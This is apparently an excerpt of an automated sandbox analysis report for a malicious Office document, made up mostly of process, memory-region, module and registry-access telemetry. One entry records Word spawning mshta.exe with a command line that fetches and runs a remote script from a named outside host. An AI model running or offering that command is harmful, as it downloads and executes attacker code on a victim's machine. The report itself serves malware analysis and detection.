Fn
Module Load module_name = WININET.dll, base_address = 0x7feff5e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\wininet.dll, function = InternetUnlockRequestFile, address_out = 0x7feff5f70f4 True 1
Fn
Module Get Handle module_name = mscoree.dll, base_address = 0x0 False 1
Fn
Thread 0xbf0
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Thread 0x83c
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Module Load module_name = mshtml.dll, base_address = 0x7fee0880000 True 1
Fn
System Get Time type = Ticks, time = 131134 True 1
Fn
System Get Time type = Ticks, time = 131150 True 2
Fn
System Get Time type = Ticks, time = 147686 True 1
Fn
Process #7: mshta.exe
(Host: 572, Network: 0)
+
Information Value
ID #7
File Name c:\windows\system32\mshta.exe
Command Line "C:\Windows\System32\mshta.exe" http://www.samyrai777m.p-host.in/t/t.php?thread=0
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:07, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:29
OS Process Information
+
Information Value
PID 0x370
Parent PID 0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 628
0x 9C8
0x 744
0x 7D8
0x 9EC
0x 96C
0x 970
0x 974
0x 990
0x 984
0x 73C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
  • Region Actions
imm32.dll 0x000c0000 0x000e8fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
mshta.exe.mui 0x000d0000 0x000d0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable True True False
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True True False
pagefile_0x0000000000100000 0x00100000 0x00100fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x0020ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x00210fff Private Memory Readable, Writable True True False
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
index.dat 0x00230000 0x0023bfff Memory Mapped File Readable, Writable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0033ffff Private Memory Readable, Writable True True False
rpcss.dll 0x00340000 0x003bcfff Memory Mapped File Readable False False False
  • Region Actions
index.dat 0x00340000 0x00347fff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00350000 0x0035ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00360000 0x0039ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
pagefile_0x00000000003a0000 0x003a0000 0x003a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000003b0000 0x003b0000 0x003b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
windowsshell.manifest 0x003c0000 0x003c0fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000003c0000 0x003c0000 0x003c0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000003d0000 0x003d0000 0x003d1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000003e0000 0x003e0000 0x003e1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000003f0000 0x003f0000 0x003f1fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000400000 0x00400000 0x0040ffff Private Memory Readable, Writable True True False
private_0x0000000000410000 0x00410000 0x0050ffff Private Memory Readable, Writable True True False
private_0x0000000000510000 0x00510000 0x0060ffff Private Memory Readable, Writable True True False
private_0x0000000000610000 0x00610000 0x00610fff Private Memory Readable, Writable True True False
pagefile_0x0000000000610000 0x00610000 0x00610fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000620000 0x00620000 0x006bffff Private Memory Readable, Writable True True False
private_0x0000000000620000 0x00620000 0x0065ffff Private Memory Readable, Writable True True False
oleaccrc.dll 0x00660000 0x00660fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000670000 0x00670000 0x00670fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000670000 0x00670000 0x00671fff Pagefile Backed Memory Readable True False False
  • Region Actions
wshom.ocx 0x00680000 0x00693fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x00000000006a0000 0x006a0000 0x006a1fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000006c0000 0x006c0000 0x006cffff Private Memory Readable, Writable True True False
pagefile_0x00000000006d0000 0x006d0000 0x00857fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000860000 0x00860000 0x009e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000009f0000 0x009f0000 0x01deffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001df0000 0x01df0000 0x01ecefff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001f70000 0x01f70000 0x0206ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002070000 0x02070000 0x0226ffff Private Memory Readable, Writable True True False
private_0x0000000002090000 0x02090000 0x0218ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000021f0000 0x021f0000 0x0226ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x02270000 0x0253efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002540000 0x02540000 0x02882fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002890000 0x02890000 0x02a7ffff Private Memory Readable, Writable True True False
private_0x00000000028a0000 0x028a0000 0x0299ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002a00000 0x02a00000 0x02a7ffff Private Memory Readable, Writable True True False
private_0x0000000002a80000 0x02a80000 0x02cbffff Private Memory Readable, Writable True True False
private_0x0000000002a80000 0x02a80000 0x02beffff Private Memory Readable, Writable True True False
private_0x0000000002a80000 0x02a80000 0x02b7ffff Private Memory Readable, Writable True True False
private_0x0000000002be0000 0x02be0000 0x02beffff Private Memory Readable, Writable True True False
private_0x0000000002c40000 0x02c40000 0x02cbffff Private Memory Readable, Writable True True False
private_0x0000000002db0000 0x02db0000 0x02eaffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002eb0000 0x02eb0000 0x0307ffff Private Memory Readable, Writable True True False
private_0x0000000002f60000 0x02f60000 0x0305ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003070000 0x03070000 0x0307ffff Private Memory Readable, Writable True True False
private_0x00000000030f0000 0x030f0000 0x031effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003230000 0x03230000 0x0332ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003340000 0x03340000 0x0343ffff Private Memory Readable, Writable True True False
pagefile_0x0000000003440000 0x03440000 0x03832fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000003960000 0x03960000 0x03a5ffff Private Memory Readable, Writable True True False
private_0x0000000003b20000 0x03b20000 0x03b9ffff Private Memory Readable, Writable True True False
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
normaliz.dll 0x779c0000 0x779c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
mshta.exe 0xff9d0000 0xff9dffff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
vbscript.dll 0x7fee0420000 0x7fee04b9fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
scrrun.dll 0x7fee06d0000 0x7fee0703fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mshtml.dll 0x7fee0880000 0x7fee1117fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
wshom.ocx 0x7fee52a0000 0x7fee52c7fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
oleacc.dll 0x7fef22f0000 0x7fef2343fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ieframe.dll 0x7fef2350000 0x7fef2f06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msimtf.dll 0x7fef3140000 0x7fef314dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasman.dll 0x7fef3160000 0x7fef317bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasapi32.dll 0x7fef3180000 0x7fef31e1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
npmproxy.dll 0x7fef3c70000 0x7fef3c7bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasadhlp.dll 0x7fef46d0000 0x7fef46d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msls31.dll 0x7fef6080000 0x7fef60bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sensapi.dll 0x7fef6630000 0x7fef6638fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netprofm.dll 0x7fef6660000 0x7fef66d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x7fef9730000 0x7fef9747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rtutils.dll 0x7fefadc0000 0x7fefadd0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winrnr.dll 0x7fefaf90000 0x7fefaf9afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pnrpnsp.dll 0x7fefafa0000 0x7fefafb8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
napinsp.dll 0x7fefafc0000 0x7fefafd4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dwmapi.dll 0x7fefb180000 0x7fefb197fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x7fefb560000 0x7fefb5b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winnsi.dll 0x7fefbdd0000 0x7fefbddafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iphlpapi.dll 0x7fefbde0000 0x7fefbe06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nlaapi.dll 0x7fefbf70000 0x7fefbf84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x7fefc060000 0x7fefc253fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x7fefc740000 0x7fefc76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wshtcpip.dll 0x7fefc9e0000 0x7fefc9e6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dnsapi.dll 0x7fefce60000 0x7fefcebafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wship6.dll 0x7fefcfd0000 0x7fefcfd6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mswsock.dll 0x7fefcfe0000 0x7fefd034fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x7fefd610000 0x7fefd634fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sxs.dll 0x7fefd650000 0x7fefd6e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x7fefd730000 0x7fefd743fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msasn1.dll 0x7fefd7f0000 0x7fefd7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
crypt32.dll 0x7fefd840000 0x7fefd9a6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iertutil.dll 0x7fefdf60000 0x7fefe1b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
urlmon.dll 0x7fefe3d0000 0x7fefe547fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x7fefe5f0000 0x7fefe63cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x7fefe7f0000 0x7fefe841fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wininet.dll 0x7feff5e0000 0x7feff709fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x7feff9c0000 0x7feff9c7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007fffffa6000 0x7fffffa6000 0x7fffffa7fff Private Memory Readable, Writable True True False
private_0x000007fffffa8000 0x7fffffa8000 0x7fffffa9fff Private Memory Readable, Writable True True False
private_0x000007fffffaa000 0x7fffffaa000 0x7fffffabfff Private Memory Readable, Writable True True False
private_0x000007fffffac000 0x7fffffac000 0x7fffffadfff Private Memory Readable, Writable True True False
private_0x000007fffffae000 0x7fffffae000 0x7fffffaffff Private Memory Readable, Writable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd4000 0x7fffffd4000 0x7fffffd5fff Private Memory Readable, Writable True True False
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd6fff Private Memory Readable, Writable True True False
private_0x000007fffffd8000 0x7fffffd8000 0x7fffffd9fff Private Memory Readable, Writable True True False
private_0x000007fffffda000 0x7fffffda000 0x7fffffdbfff Private Memory Readable, Writable True True False
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 14 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0x628
(Host: 374, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-24 17:38:03 (UTC) True 1
Fn
System Get Time type = Ticks, time = 131290 True 1
Fn
Module Get Handle module_name = c:\windows\system32\mshta.exe, base_address = 0xff9d0000 True 1
Fn
System Get Info type = Operating System False 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = HeapSetInformation, address_out = 0x776fc4a0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32, data = C:\Windows\System32\mshtml.dll, type = REG_SZ True 1
Fn
Module Load module_name = C:\Windows\System32\mshtml.dll, base_address = 0x7fee0880000 True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:03 (UTC) True 1
Fn
System Get Time type = Ticks, time = 131415 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
